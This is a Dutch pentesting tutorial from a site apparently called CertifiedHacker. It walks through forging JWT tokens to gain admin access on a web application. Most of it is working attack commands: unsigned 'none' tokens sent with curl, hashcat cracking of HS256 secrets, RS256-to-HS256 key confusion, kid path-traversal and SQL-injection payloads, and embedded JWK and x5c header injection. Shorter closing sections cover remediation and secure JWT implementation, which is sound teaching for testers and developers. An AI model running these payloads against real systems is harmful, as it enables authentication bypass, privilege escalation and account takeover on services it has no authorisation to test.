CertifiedHacker

JWT Kraken: Van Token tot Admin

Stap-voor-stap JWT cracking tutorial: none algorithm, weak secret brute force met hashcat, RS256-naar-HS256 key confusion en token forging.

JWT Kraken: Van Token tot Admin

In deze tutorial ontvang je een JWT-token na login. Het doel: admin worden door het token te vervalsen.

Het scenario

Je test een webapplicatie die JWT gebruikt voor authenticatie. Na het inloggen ontvang je een token dat bij elk API-request wordt meegestuurd. Je vermoedt dat het token kwetsbaar is. Tijd om dat te bewijzen.

Stap 1: Token analyseren

# Log in en vang het token op (uit de Authorization header of cookie)
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjk5MDAwMDAwLCJleHAiOjE2OTkwMDM2MDB9.signature"

# Decodeer de header
echo $TOKEN | cut -d. -f1 | base64 -d 2>/dev/null
# {"alg":"HS256","typ":"JWT"}

# Decodeer de payload
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null
# {"user":"john","role":"user","iat":1699000000,"exp":1699003600}

# Observaties:
# - Algorithm: HS256 (symmetrisch, shared secret)
# - Claims: user=john, role=user
# - Doel: role wijzigen naar "admin"

# jwt_tool: uitgebreide analyse
python3 jwt_tool.py $TOKEN

Stap 2: None algorithm proberen

# De snelste test: accepteert de server een ongesigneerd token?
python3 jwt_tool.py $TOKEN -X a -t "http://target.com/api/admin" \
  -rh "Authorization: Bearer"

# jwt_tool probeert automatisch:
# alg: "none", "None", "NONE", "nOnE"
# Met en zonder signature

# Handmatig:
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
PAYLOAD=$(echo -n '{"user":"john","role":"admin","iat":1699000000,"exp":1799003600}' | base64 | tr -d '=' | tr '+/' '-_')
FORGED="$HEADER.$PAYLOAD."

curl -H "Authorization: Bearer $FORGED" http://target.com/api/admin/dashboard

# Als je een 200 krijgt: de server accepteert ongesigneerde tokens!

Stap 3: Weak secret brute force

Als none niet werkt, is de volgende stap het geheim raden. HS256 tokens zijn gesigneerd met een shared secret. Als dat secret zwak is, kun je het offline kraken.

# hashcat: GPU-accelerated JWT cracking
echo "$TOKEN" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# Output bij succes:
# eyJhbGci...:secret123
# Het secret is: secret123

# Snelheden (indicatief):
# CPU (i7): ~50.000 hashes/sec
# GPU (RTX 3080): ~1.500.000 hashes/sec
# GPU (RTX 4090): ~3.000.000 hashes/sec

# jwt_tool dictionary attack (langzamer, maar geen GPU nodig)
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt

# Veelvoorkomende secrets om eerst te proberen:
# secret, password, 123456, changeme, jwt_secret
# De standaard van jwt.io: your-256-bit-secret
for s in secret password 123456 changeme jwt_secret "your-256-bit-secret"; do
  python3 jwt_tool.py $TOKEN -C -p "$s" 2>&1 | grep -q "CORRECT" && echo "FOUND: $s"
done

Stap 4: Token forgen met het gevonden secret

# Nu we het secret kennen, maken we een admin-token
python3 jwt_tool.py $TOKEN -T \
  -S hs256 \
  -p "secret123" \
  -pc role -pv admin \
  -pc user -pv administrator

# Of met Python:
python3 -c "
import jwt
token = jwt.encode(
    {'user': 'john', 'role': 'admin', 'iat': 1699000000, 'exp': 1799000000},
    'secret123',
    algorithm='HS256'
)
print(token)
"

# Test het geforged token
curl -H "Authorization: Bearer $FORGED_TOKEN" http://target.com/api/admin/users
# 200 OK — je bent admin!

Stap 5: Key Confusion (RS256 → HS256)

Stel dat het token RS256 gebruikt (asymmetrisch). Dan kun je het secret niet brute forcen — het is een private key. Maar als de server het algorithm uit het token leest, kun je hem misleiden.

# Stap 1: Verkrijg de publieke sleutel
# Vaak beschikbaar op /.well-known/jwks.json
curl -s https://target.com/.well-known/jwks.json | jq .

# Of uit het TLS-certificaat
openssl s_client -connect target.com:443 2>/dev/null | \
  openssl x509 -pubkey -noout > pub.pem

# Stap 2: Key confusion aanval
python3 jwt_tool.py $TOKEN -X k -pk pub.pem

# Wat er gebeurt:
# 1. jwt_tool wijzigt header: alg: "HS256" (was "RS256")
# 2. jwt_tool signeert met pub.pem als HMAC-secret
# 3. De server leest alg: "HS256" en verifieert met zijn "key"
# 4. Die "key" is de publieke sleutel (die de server al heeft)
# 5. Verificatie slaagt — want het is hetzelfde bestand

# Stap 3: Forge admin token via key confusion
python3 jwt_tool.py $TOKEN -X k -pk pub.pem \
  -pc role -pv admin -T

Rapportage

JWT-kwetsbaarheden zijn altijd high-severity:

  • None algorithm: CVSS 9.1 — volledige authenticatie-bypass
  • Weak HS256 secret: CVSS 8.8 — token forgery, impersonation
  • Key confusion: CVSS 8.8 — token forgery, privilege escalation

Remediatie: dwing het algorithm server-side af (nooit uit het token lezen), gebruik sterke secrets (minimaal 32 bytes random), en gebruik RS256 met een veilig opgeslagen private key.


Geavanceerde JWT-aanvallen

KID (Key ID) Injection

Sommige JWT’s bevatten een kid (Key ID) header die de server vertelt welke sleutel hij moet gebruiken voor verificatie. Als de server de kid-waarde gebruikt in een bestandspad of database-query zonder sanitisatie, heb je een injection-vector.

# Scenario: de server laadt de sleutel uit een bestand
# Header: {"alg":"HS256","kid":"keys/signing-key.pem"}
# De server doet: key = read_file("keys/" + kid)

# Path traversal via kid
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# De server leest /dev/null (leeg bestand)
# HMAC-SHA256 met een lege string als secret = voorspelbaar

# SQL injection via kid (als kid in een DB-query wordt gebruikt)
python3 jwt_tool.py $TOKEN -I -hc kid -hv "' UNION SELECT 'supersecretkey' -- " -S hs256 -p "supersecretkey"

# Directory traversal naar een bekend bestand
# Gebruik een bestand waarvan je de inhoud kent als signing key
python3 jwt_tool.py $TOKEN -I -hc kid -hv "../../etc/hostname" -S hs256 -p "$(cat /etc/hostname)"

De kid-header is een veelgemaakte fout. Ontwikkelaars denken: “Ik heb meerdere sleutels, laat het token maar vertellen welke ik moet gebruiken.” Wat ze eigenlijk zeggen is: “Laat de aanvaller maar kiezen hoe ik zijn token verifieer.” Het is alsof je een inbreker vraagt welk slot hij wil dat je op de deur zet.

Embedded JWK-aanval

In plaats van een URL naar de publieke sleutel (jku), kun je de sleutel direct in de JWT-header embedden via de jwk parameter. Als de server deze sleutel accepteert zonder te controleren of het een vertrouwde sleutel is, kun je je eigen keypair gebruiken.

# Genereer een nieuw RSA-keypair
openssl genrsa -out attacker.pem 2048

# jwt_tool: embedded jwk aanval
python3 jwt_tool.py $TOKEN -X i -pk attacker.pem

# Wat er gebeurt:
# 1. jwt_tool genereert een JWK van je publieke sleutel
# 2. De JWK wordt in de JWT-header geplaatst: {"alg":"RS256","jwk":{...}}
# 3. De server leest de jwk uit de header en gebruikt die voor verificatie
# 4. Natuurlijk klopt de signature — jij hebt hem zelf gesigneerd!

x5c Certificate Chain Injection

# De x5c header bevat een X.509 certificaatketen
# Als de server het certificaat uit de header vertrouwt zonder
# te controleren of het is ondertekend door een vertrouwde CA:

# Genereer een self-signed certificaat
openssl req -new -x509 -key attacker.pem -out attacker.crt -days 365 -subj "/CN=attacker"

# Gebruik het certificaat in de JWT
python3 jwt_tool.py $TOKEN -X c -pk attacker.pem -pc attacker.crt

Real-world scenario’s

Scenario 1: Bug bounty — none algorithm op productie

Je vindt een applicatie die JWT gebruikt. Je decodeert het token en ziet alg: RS256. Je probeert de none-aanval — normaal verwacht je dat dit niet werkt bij RS256, want dat is asymmetrisch en de server zou de sleutel server-side moeten afdwingen. Maar de server gebruikt een bibliotheek die het algorithm uit het token leest.

# Stap 1: Origineel token
# Header: {"alg":"RS256","typ":"JWT"}
# Payload: {"sub":"user123","role":"viewer","exp":1700000000}

# Stap 2: None algorithm
python3 jwt_tool.py $TOKEN -X a -t "https://target.com/api/admin" -rh "Authorization: Bearer"

# Stap 3: Als het werkt, modificeer de payload
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr -d '=' | tr '+/' '-_')
PAYLOAD=$(echo -n '{"sub":"user123","role":"admin","exp":1800000000}' | base64 -w0 | tr -d '=' | tr '+/' '-_')
echo "$HEADER.$PAYLOAD." | curl -s -H "Authorization: Bearer $(cat -)" https://target.com/api/admin/users

# Impact: volledige account takeover, admin toegang
# CVSS 4.0: 9.1 (Critical)
# Bounty: $5.000 - $15.000 afhankelijk van het programma

Scenario 2: Pentest — zwak geheim in microservices

Tijdens een interne pentest vind je een microservices-architectuur. Elke service valideert JWT’s met hetzelfde HS256 geheim. Je onderschept een token via een man-in-the-middle positie (of via een log dat te verbose is) en probeert het geheim te kraken.

# Het token
TOKEN="eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYXBpLXNlcnZpY2UiLCJyb2xlIjoic2VydmljZSJ9.HMAC"

# Stap 1: hashcat met veelvoorkomende secrets
echo "$TOKEN" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt common-jwt-secrets.txt

# common-jwt-secrets.txt bevat:
# secret, password, jwt_secret, changeme, development
# De naam van de applicatie, het bedrijf, het team
# UUIDs uit de broncode of configuratie
# "your-256-bit-secret" (de jwt.io standaard)

# Stap 2: Als common secrets niet werken, ga naar rockyou
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# Stap 3: Brute force korte secrets
hashcat -a 3 -m 16500 jwt.txt ?a?a?a?a?a?a?a?a  # 8 karakters
# Dit duurt lang maar werkt als het geheim kort is

# Gevonden: "microservice-key-2023"
# Stap 4: Forge een service-to-service token met admin scope
python3 jwt_tool.py $TOKEN -T -S hs256 -p "microservice-key-2023" \
  -pc role -pv admin \
  -pc scope -pv "read write delete admin"

Scenario 3: Red team — key confusion op SSO

Het doelwit gebruikt een SSO-provider (Keycloak, Auth0, Okta) met RS256 tokens. De publieke sleutel is beschikbaar op /.well-known/jwks.json. Je test of de applicatie kwetsbaar is voor algorithm confusion.

# Stap 1: Download de publieke sleutel
curl -s https://sso.target.com/.well-known/jwks.json | \
  python3 -c "
import json, sys, base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

jwks = json.load(sys.stdin)
key = jwks['keys'][0]
# Converteer JWK naar PEM formaat
n = int.from_bytes(base64.urlsafe_b64decode(key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(key['e'] + '=='), 'big')
pub = rsa.RSAPublicNumbers(e, n).public_key()
pem = pub.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
open('sso_pub.pem', 'wb').write(pem)
print('Saved public key to sso_pub.pem')
"

# Stap 2: Key confusion aanval
python3 jwt_tool.py $TOKEN -X k -pk sso_pub.pem -pc role -pv admin

# Stap 3: Test tegen de applicatie (niet de SSO provider)
# De applicatie valideert het token, niet de SSO
curl -H "Authorization: Bearer $FORGED" https://app.target.com/api/admin

Hoe JWT correct te implementeren

Als pentester wil je weten wat je test. Als ontwikkelaar wil je weten wat je moet doen. Hier is de samenvatting:

RegelWaarom
Dwing het algorithm server-side afVoorkomt none en key confusion
Gebruik RS256 of ES256 (asymmetrisch)Private key blijft op de server
Als je HS256 gebruikt: ≥32 bytes random secretVoorkomt brute force
Negeer kid/jku/jwk/x5c uit het tokenVoorkomt header injection
Stel korte expiry in (15-60 minuten)Beperkt de window of opportunity
Implementeer token revocation (blacklist)Maakt logout effectief
Valideer alle claims: iss, aud, exp, nbfVoorkomt token hergebruik tussen services
Sla tokens op in httpOnly secure cookiesVoorkomt XSS-based token theft

Tools samenvatting

ToolGebruikInstallatie
jwt_toolAlles-in-één JWT testingpip3 install jwt_tool
hashcatGPU-accelerated JWT crackingVoorgeïnstalleerd op Kali
johnCPU JWT crackingVoorgeïnstalleerd op Kali
jwt.ioOnline JWT decoderBrowser
Burp JWT EditorJWT manipulatie in BurpBApp Store extensie

Op de hoogte blijven?

Ontvang nieuwe hoofdstukken en updates per e-mail.